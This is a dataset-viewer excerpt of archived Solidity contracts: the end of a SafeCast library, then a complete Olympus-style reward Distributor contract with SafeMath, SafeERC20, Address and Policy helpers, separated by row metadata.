function toInt96(int256 value) internal pure returns (int96 downcasted) {
downcasted = int96(value);
require(downcasted == value, "SafeCast: value doesn't fit in 96 bits");
}
function toInt88(int256 value) internal pure returns (int88 downcasted) {
downcasted = int88(value);
require(downcasted == value, "SafeCast: value doesn't fit in 88 bits");
}
function toInt80(int256 value) internal pure returns (int80 downcasted) {
downcasted = int80(value);
require(downcasted == value, "SafeCast: value doesn't fit in 80 bits");
}
function toInt72(int256 value) internal pure returns (int72 downcasted) {
downcasted = int72(value);
require(downcasted == value, "SafeCast: value doesn't fit in 72 bits");
}
function toInt64(int256 value) internal pure returns (int64 downcasted) {
downcasted = int64(value);
require(downcasted == value, "SafeCast: value doesn't fit in 64 bits");
}
function toInt56(int256 value) internal pure returns (int56 downcasted) {
downcasted = int56(value);
require(downcasted == value, "SafeCast: value doesn't fit in 56 bits");
}
function toInt48(int256 value) internal pure returns (int48 downcasted) {
downcasted = int48(value);
require(downcasted == value, "SafeCast: value doesn't fit in 48 bits");
}
function toInt40(int256 value) internal pure returns (int40 downcasted) {
downcasted = int40(value);
require(downcasted == value, "SafeCast: value doesn't fit in 40 bits");
}
function toInt32(int256 value) internal pure returns (int32 downcasted) {
downcasted = int32(value);
require(downcasted == value, "SafeCast: value doesn't fit in 32 bits");
}
function toInt24(int256 value) internal pure returns (int24 downcasted) {
downcasted = int24(value);
require(downcasted == value, "SafeCast: value doesn't fit in 24 bits");
}
function toInt16(int256 value) internal pure returns (int16 downcasted) {
downcasted = int16(value);
require(downcasted == value, "SafeCast: value doesn't fit in 16 bits");
}
function toInt8(int256 value) internal pure returns (int8 downcasted) {
downcasted = int8(value);
require(downcasted == value, "SafeCast: value doesn't fit in 8 bits");
}
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
| 61,984 | 1,798 |
7f9b031bc15e1e7ef8b663388a542875660cb86a853f4747fdbf59f334a7fbc0
| 18,791 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/e4/e40698147b2a3b6a99a3123cac955fe47758ed35_Distributor.sol
| 4,226 | 16,683 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
modifier onlyStakingHelper() {
require(stakingHelper == msg.sender, "Ownable: caller is not the staking helper");
_;
}
address public immutable OHM;
address public immutable treasury;
address public stakingHelper;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
uint32 public standardRebaseTime;
uint32 public randomRebaseDeviationThreshold; //in seconds, epoch end time cannot deviate from supposed epoch end time by more than that
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime, uint32 _randomRebaseDeviationThreshold) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
standardRebaseTime = _nextEpochTime;
randomRebaseDeviationThreshold = _randomRebaseDeviationThreshold;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
standardRebaseTime = standardRebaseTime.add32(epochLength);
nextEpochTime = standardRebaseTime;
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function recipientsLength() public view returns (uint) {
return info.length;
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
function setStakingHelper(address _address) external onlyPolicy() {
stakingHelper = _address;
}
function setNextEpochTime(uint32 _nextEpochTime) external onlyStakingHelper() {
require(_nextEpochTime < standardRebaseTime, "Staking: Random epoch end time is out of bounds");
require(_nextEpochTime > (standardRebaseTime - randomRebaseDeviationThreshold), "Staking: Random epoch end time is out of bounds");
nextEpochTime = _nextEpochTime;
}
}
| 94,880 | 1,799 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.